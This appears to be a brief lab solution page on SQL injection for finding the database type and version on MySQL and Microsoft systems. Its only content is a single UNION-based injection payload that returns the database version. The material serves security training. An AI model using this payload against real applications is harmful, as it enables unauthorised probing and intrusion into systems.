Skip to content

SQL injection attack, querying the database type a 1

SQL injection attack, querying the database type and version on MySQL and Microsoft

Solution

Display the database version

Payload: ' UNION SELECT @@version, NULL--